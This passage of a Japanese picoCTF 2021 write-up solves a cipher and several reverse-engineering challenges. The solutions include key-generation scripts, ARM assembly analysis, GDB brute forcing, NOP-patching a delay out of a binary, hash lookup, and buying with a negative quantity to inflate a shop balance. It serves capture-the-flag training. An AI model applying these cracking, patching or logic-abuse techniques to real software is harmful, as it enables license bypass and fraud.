    24  ik_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
    25  gj_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    26  gj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    27  kb_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h']
    28  kb_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i']
    29  he_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    30  he_1 ['d', 'c', 'b', 'a', 'p', 'o', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l']
    31  fg_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c']
    32  fg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n']
    33  pi_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm']
    34  pi_1 ['h', 'g', 'f', 'e', 'd', 'c', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p']
    35  en_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b']
    36  en_1 ['m', 'l', 'k', 'j', 'i', 'h', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e']
    37  ef_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b']
    38  ef_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm']
    39  jd_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g']
    40  jd_1 ['c', 'b', 'a', 'p', 'o', 'n', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k']
    41  io_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
    42  io_1 ['n', 'm', 'l', 'k', 'j', 'i', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f']
    43  gh_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    44  gh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    45  hc_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    46  hc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j']
    47  hf_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    48  hf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm']
    49  fh_0 ['p', 'p', 'p', 'p', 'p', 'p', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c', 'c']
    50  fh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    51  mm_0 ['g', 'g', 'g', 'g', 'g', 'g', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j', 'j']
    52  mm_1 ['l', 'k', 'j', 'i', 'h', 'g', 'm', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd']
    53  hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    54  hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    55  bj_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o']
    56  bj_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    57  gc_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    58  gc_1 ['b', 'a', 'p', 'o', 'n', 'm', 'c', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j']
    59  lp_0 ['f', 'f', 'f', 'f', 'f', 'f', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i', 'i']
    60  lp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g']
    61  jf_0 ['d', 'd', 'd', 'd', 'd', 'd', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g', 'g']
    62  jf_1 ['e', 'd', 'c', 'b', 'a', 'p', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n', 'm']
    63  kp_0 ['e', 'e', 'e', 'e', 'e', 'e', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h', 'h']
    64  kp_1 ['o', 'n', 'm', 'l', 'k', 'j', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h', 'g']

key は、14文字以下なので、それ以上の長さの文字列を暗号化する場合、key の先頭に戻って再度暗号化に使用される。 上記の結果を基に、key の使用傾向を見ると、o が9文字毎に出現していることが分かる。 このことから、key の長さは、9文字であると推測できる。

次に 9文字の key が矛盾なく繰り返されているパターンを見つける。 手動で探したところ oedcfjdbe であれば、矛盾なく繰り返すことができると分かった。

最後に特定した key を使って復号すると、フラグが表示された。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_decode(enc):
    dec = ""
    for i in range(0, len(enc), 2):
        n1 = ord(enc[i]) - LOWERCASE_OFFSET
        n2 = ord(enc[i+1]) - LOWERCASE_OFFSET
        dec += chr((n1 << 4) + n2)
    return dec


def unshift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]


enc = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp'
key = 'oedcfjdbe'

b16 = ""
for i, c in enumerate(enc):
    b16 += unshift(c, key[i % len(key)])

flag = b16_decode(b16)
print(flag)
$ python3 solve.py 
698987ddce418c11e9aa564229c50fda

picoCTF{698987ddce418c11e9aa564229c50fda}

Reverse Engineering(16問)

Transformation - 20 points

I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

逆変換をするようにスクリプトを書くと、以下のようになる。

with open('enc', 'r') as f:
    enc = f.read()

flag = ''
for ch in enc:
    flag += chr(ord(ch) >> 8) + chr(ord(ch) & 0xff)

print(flag)
$ python3 solve.py 
picoCTF{16_bits_inst34d_of_8_04c0760d}

picoCTF{16_bits_inst34d_of_8_04c0760d}

keygenme-py - 30 points

keygenme-trial.py

bUsername_trial のハッシュ値を使って key_part_dynamic1_trial が正しい値かどうかをチェックしている処理がある。

# snip

username_trial = "PRITCHARD"
bUsername_trial = b"PRITCHARD"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

# snip

def enter_license():
    user_key = input("\nEnter your license key: ")
    user_key = user_key.strip()

    global bUsername_trial
    
    if check_key(user_key, bUsername_trial):
        decrypt_full_version(user_key)
    else:
        print("\nKey is NOT VALID. Check your data entry.\n\n")


def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False

            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False



        return True

# snip

その処理を参考に、正しい key_part_dynamic1_trial を求めるスクリプトを作成した。 実行すると、License Key(フラグ)を求めることができる。

import hashlib

bUsername_trial = b"PRITCHARD"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"

hash = hashlib.sha256(bUsername_trial).hexdigest()

key_part_dynamic1_trial = ""
for i in [4, 5, 3, 6, 2, 7, 1, 8]:
    key_part_dynamic1_trial += hash[i]

user_key = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
print(user_key)
$ python3 solve.py
picoCTF{1n_7h3_|<3y_of_54ef6292}

picoCTF{1n_7h3_|<3y_of_54ef6292}

crackme-py - 30 points

crackme.py

ファイル内に以下の文字列が書かれている

bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN"

これを CyberChef で ROT47 するだけ

picoCTF{1|\/|_4_p34|\|ut_dd2c4616}

ARMssembly 0 - 40 points

What integer does this program print with arguments 1765227561 and 1830628817? File: chall.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

chall.S は、ARM 64bit のアセンブリで書かれている。 読むのが面倒なので、クロスコンパイルして Ghidra で確認した。

$ sudo apt install gcc-aarch64-linux-gnu
$ aarch64-linux-gnu-as chall.S -o chall

Ghidra で確認すると、コマンドライン引数に与えられた2つの値を比較し、大きいほうの値を表示するだけのプログラムでした。よって、1830628817 を16進数に変換した値がフラグになる。

f:id:tsalvia:20210331200136p:plain

picoCTF{6d1d2dd1}

speeds and feeds - 50 points

There is something on my shop network running at mercury.picoctf.net:53740, but I can't tell what it is. Can you?

netcat でアクセスすると、何かのログっぽい文字列がたくさん流れてくる。

$ nc mercury.picoctf.net 53740
G17 G21 G40 G90 G64 P0.003 F50
G0Z0.1
G0Z0.1
G0X0.8276Y3.8621
G1Z0.1
G1X0.8276Y-1.9310
G0Z0.1
G0X1.1034Y3.8621
G1Z0.1
G1X1.1034Y-1.9310

<snip>

文字列の最初の行にある G17 G21 G40 G90 G64 P0.003 F50 で検索すると、G-Code というコードであることが分かった。 また、GCode Viewer というサービスを発見した。ここに G-Code を貼り付けると、3Dモデルが表示される。

ncviewer.com

実際に貼り付けてみると、フラグの3Dモデルが表示された。

f:id:tsalvia:20210320171056p:plain

picoCTF{num3r1cal_c0ntr0l_775375c7}

Shop - 50 points

Best Stuff - Cheap Stuff, Buy Buy Buy... Store Instance: source. The shop is open for business at nc mercury.picoctf.net 34938.

netcat で接続すると、market が表示された。以下のいずれかを購入することができる。

  • Quiet Quiches
  • Average Apple
  • Fruitful Flag
$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
        Item            Price   Count
(0) Quiet Quiches       10      12
(1) Average Apple       15      8
(2) Fruitful Flag       100     1
(3) Sell an Item
(4) Exit
Choose an option:

「How many do you want to buy?」のところで -10 を指定してみると、自分の持ち金が 140 コインに増えた。 100 コイン以上になったので、Fruitful Flag を購入すると、10進数でフラグが表示された。

$ nc mercury.picoctf.net 34938
Welcome to the market!
=====================
You have 40 coins
        Item            Price   Count
(0) Quiet Quiches       10      12
(1) Average Apple       15      8
(2) Fruitful Flag       100     1
(3) Sell an Item
(4) Exit
Choose an option:
0
How many do you want to buy?
-10
You have 140 coins
        Item            Price   Count
(0) Quiet Quiches       10      22
(1) Average Apple       15      8
(2) Fruitful Flag       100     1
(3) Sell an Item
(4) Exit
Choose an option:
2
How many do you want to buy?
1
Flag is:  [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]

CyberChef の From Decimal で変換すると、フラグを取得することができた。

picoCTF{b4d_brogrammer_ba6b8cdf}

ARMssembly 1 - 70 points

For what argument does this program print win with variables 85, 6 and 3? File: chall_1.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_1.S -o chall_1

0x715 を与えると、You win! と表示されるプログラムになっていました。

f:id:tsalvia:20210331211459p:plain

picoCTF{00000715}

ARMssembly 2 - 90 points

What integer does this program print with argument 3848786505? File: chall_2.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_2.S -o chall_2

コマンドライン引数に与えられた値を3倍にして返すプログラムでした。

f:id:tsalvia:20210331212011p:plain

3848786505 を3倍にした値は、11546359515(0x2b03776db)になる。 ただし、オーバーフローしているので、実際に表示される値は 2956424923(0xb03776db)になる。

picoCTF{b03776db}

Hurry up! Wait! - 100 points

svchost.exe

Ghidra で確認すると、以下のように delay させている処理が見つかる。

f:id:tsalvia:20210331212618p:plain

長時間スリープされていそうなので、ここの呼び出しを NOP(0x90)に書き換えて、呼び出されないようにする。

f:id:tsalvia:20210320184826p:plain

パッチを当てた後、実行するとフラグが表示された。

$ ./svchost.exe
picoCTF{d15a5m_ftw_dfbdc5d}

picoCTF{d15a5m_ftw_dfbdc5d}

gogo - 110 points

Hmmm this is a weird file... enter_password. There is a instance of the service running at mercury.picoctf.net:35862.

Ghidra で処理を確認すると、以下の箇所でパスワード比較をしていた。

f:id:tsalvia:20210401053306p:plain

buf[0x20] 以降の値は、以下に格納されていた。

f:id:tsalvia:20210327162944p:plain

CyberChef で XOR してパスワードを復号すると、reverseengineericanbarelyforward となった。

実際に入力してみると、以下のように表示された。

$ ./enter_password
Enter Password: reverseengineericanbarelyforward
=========================================
This challenge is interrupted by psociety
What is the unhashed key?

key になっている 861836f13e3d627dfa375bdb8389214e を以下のサイトで検索すると、goldfish と出てきた。

crackstation.net

パスワード入力後に、goldfish と入力すると、フラグが表示された。

$ nc mercury.picoctf.net 35862
Enter Password: reverseengineericanbarelyforward
=========================================
This challenge is interrupted by psociety
What is the unhashed key?
goldfish
Flag is:  picoCTF{p1kap1ka_p1c05729981f}

picoCTF{p1kap1ka_p1c05729981f}

ARMssembly 3 - 130 points

What integer does this program print with argument ``3350728462PP? File: chall_3.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_3.S -o chall_3

以下のようなプログラムになっていました。

f:id:tsalvia:20210401054903p:plain

再現して実行すると、フラグになった。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    unsigned int value = atoi(argv[1]);
    unsigned int result = 0;

    while (value != 0) {
        if ((value & 1) != 0)
            result = result + 3;
        value = value >> 1;
    }
    printf("%x\n", result);
}
$ gcc solve.c
$ ./a.out 3350728462
30

picoCTF{00000030}

Let's get dynamic - 150 points

Can you tell what this file is reading? chall.S

コンパイルして Ghidra でデコンパイルする。

$ gcc chall.S

f:id:tsalvia:20210401061248p:plain

memcmp で比較していそうなので、GDB で確認する。

$ gdb -q ./a.out

memcmp に Breakpoint を置いて、スタックを見るとフラグが書かれていた。

gdb-peda$ start
gdb-peda$ b memcmp
gdb-peda$ c
gdb-peda$ stack
0000| 0x7fffffffe0e8 --> 0x5555555552ff (<main+390>:    test   eax,eax)
0008| 0x7fffffffe0f0 --> 0x7fffffffe308 --> 0x7fffffffe56c ("/root/workdir/a.out")
0016| 0x7fffffffe0f8 --> 0x100000000 
0024| 0x7fffffffe100 --> 0x0 
0032| 0x7fffffffe108 --> 0x3100000000 ('')
0040| 0x7fffffffe110 ("picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")
0048| 0x7fffffffe118 ("dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")
0056| 0x7fffffffe120 ("4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")

picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}

Easy as GDB - 160 points

The flag has got to be checked somewhere... File: brute

Ghidra で確認すると、以下の箇所でフラグを1バイトずつチェックをしている。

f:id:tsalvia:20210401062357p:plain

「ループ回数 > 入力したフラグの長さ」であれば、正しいフラグとなる。 1文字ずつ総当たりでフラグを入力し、0x4009a5 を通る回数を数えるスクリプトを作成した。

import gdb
import string

gdb.execute('file ./brute')
gdb.execute('set pagination off')
gdb.Breakpoint('*0x004009a5')

pattern = string.printable

flag = ''
for i in range(len(flag), 30):
    for ch in pattern:

        open('input.txt', 'w').write(flag + ch)
        gdb.execute('run < input.txt')

        for _ in range(i + 1):
            try:
                gdb.execute('continue')
            except gdb.error:
                pass

        msg = gdb.execute('i b', to_string=True)
        if 'hit {} times'.format(i + 2) in msg:
            flag += ch
            gdb.execute('continue')
            break

        print('-' * 80)
        print('flag:', flag + ch)
        print(msg)

print(flag)
gdb.execute('quit')

x86 環境で以下を実行し、しばらく待つとフラグが表示される。

$ gdb -x ./solve.py -q

<snip>

Correct!
[Inferior 1 (process 10470) exitex normally]
picoCTF{I_5D3_A11DA7_e5458cbf}

picoCTF{I_5D3_A11DA7_e5458cbf}

ARMssembly 4 - 170 points

What integer does this program print with argument 3964545182? File: chall_4.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})

ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。

$ aarch64-linux-gnu-as chall_4.S -o chall_4

再現すると、以下のようなプログラムになっていました。

#include <stdio.h>
#include <stdlib.h>

unsigned int func8(unsigned int param_1)
{
    return param_1 + 2;
}

unsigned int func7(unsigned int param_1)
{
    if (param_1 < 0x65)
        param_1 = 7;
    return param_1;
}

unsigned int func6(unsigned int param_1)
{
    unsigned int local_14;
    unsigned int local_c;

    local_c = 0;
    local_14 = param_1;
    while (local_c < 900)
    {
        local_14 = 0x5c;
        local_c = local_c + 1;
    }
    return local_14;
}

unsigned int func5(unsigned int param_1)
{
    unsigned int uVar1;
    uVar1 = func8(param_1);
    return uVar1;
}

unsigned int func4(unsigned int param_1)
{
    return param_1;
}

unsigned int func3(unsigned int param_1)
{
    return func7(param_1);
}

unsigned int func2(unsigned int param_1)
{
    if (param_1 < 500)
        return func4(param_1 - 0x56);
    else
        return func5(param_1 + 0xd);
}

unsigned int func1(unsigned int param_1)
{
    if (param_1 < 0x65)
        return func3(param_1);
    else
        return func2(param_1 + 100);
}

int main(int argc, char **argv)
{
    unsigned int value = atoi(argv[1]);
    unsigned int result = func1(value);
    printf("Result: %ld\n", (long) result);
    return 0;
}
$ gcc solve.c
$ ./a.out 3964545182
Result: 3964545297

picoCTF{ec4e2911}

Powershelly - 180 points

It's not a bad idea to learn to read Powershell. We give you the output, but do you think you can find the input? rev_PS.ps1 output.txt

rev_PS.ps1 を読み、output.txt から input.txt に戻すスクリプトを作成した。

function Random-Gen {
    $list1 = @()
    for ($i = 1; $i -lt ($output_file.Length + 1); $i++) {
        $y = ((($i * 327) % 681 ) + 344) % 313
        $list1 += $y
    }
    return $list1
}

function Unscramble {
    param (
        $fun,
        $seed
    )
    $raw2 = [convert]::ToString($fun, 2)
    $raw = @()
    $i = 0
    while ($i -lt $raw2.Length) {
        $n = $raw2[$i] + $raw2[$i + 1]
        if ($n -eq "11") {
            $raw += "1"
        }
        else {
            $raw += "0"
        }
        $i += 2
    }

    $blocks = @()
    for ($i = 0; $i -lt $raw.Length; $i++) {
        $y = ($i * $seed) % $raw.Length
        $n = $raw[$y]
        while ($n -eq "2") {
            $y = ($y + 1) % $raw.Length
            $n = $raw[$y]
        }
        $blocks += $raw[$y]
        $raw[$y] = "2"
    }
    return $blocks
}

$path = ".\output.txt"
$output_file = Get-Content -Path $path

$result = 0
$seeds = @()
for ($i = 1; $i -lt ($output_file.count + 1); $i++) {
    $seeds += ($i * 127) % 500
}

$randoms = Random-Gen
$blocks = @{}
for ($i = 0; $i -lt $output_file.count ; $i++) {
    $fun = $output_file[$i] -bxor $result -bxor $randoms[$i]
    $result = $fun -bxor $result -bxor $randoms[$i]
    $blocks[$i] = Unscramble -fun $fun -seed $seeds[$i]
}

$out = @{}
for ($i = 0; $i -lt $blocks.Count; $i++) {
    for ($j = 0; $j -lt 5; $j++) {

        $line = $blocks[$i]
        $r = @()
        for ($k = 0; $k -lt 6; $k++) {
            $r += $line[$j * 6 + $k]
        }
        $s = [system.String]::Join("", $r)
        $out[$j] += $s + " "
    }
}

for ($i = 0; $i -lt $out.Count; $i++) {
    $input_file = $out[$i].Remove($out[$i].Length - 1, 1)
    Add-Content -Path input.txt -Value $input_file
}

実行すると、以下のようにファイルが生成される。

PS > .\restore_input.ps1
PS > type input.txt
100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 100001 110011 110011 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 110011 100001 110011 100001 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 110011 110011 110011 110011 100001 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 100001 100001 100001 100001 110011 110011 100001 100001 100001 110011 100001 100001 110011 110011 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 110011 110011 110011 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 110011 100001 110011 110011 110011 100001 110011 100001 100001 100001 100001 100001 100001 100001 110011 110011 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 110011 110011 100001 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 110011 100001 110011 110011 110011 100001 100001 110011 100001 100001 100001 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 100001 110011 110011 100001 100001 100001 100001 110011 100001 100001 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011
001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 001100 100011 100011 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 100011 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 100011 100011 100011 100011 001100 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 001100 001100 001100 001100 100011 100011 001100 001100 001100 100011 001100 001100 100011 100011 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 100011 100011 100011 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 100011 001100 100011 100011 100011 001100 100011 001100 001100 001100 001100 001100 001100 001100 100011 100011 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 100011 100011 001100 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 100011 001100 100011 100011 100011 001100 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 001100 100011 100011 001100 001100 001100 001100 100011 001100 001100 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011
001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011
001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011
100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 100001 000000 000000 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 000000 100001 000000 100001 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 000000 000000 000000 000000 100001 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 100001 100001 100001 100001 000000 000000 100001 100001 100001 000000 100001 100001 000000 000000 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 000000 000000 000000 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 000000 100001 000000 000000 000000 100001 000000 100001 100001 100001 100001 100001 100001 100001 000000 000000 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 000000 000000 100001 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 000000 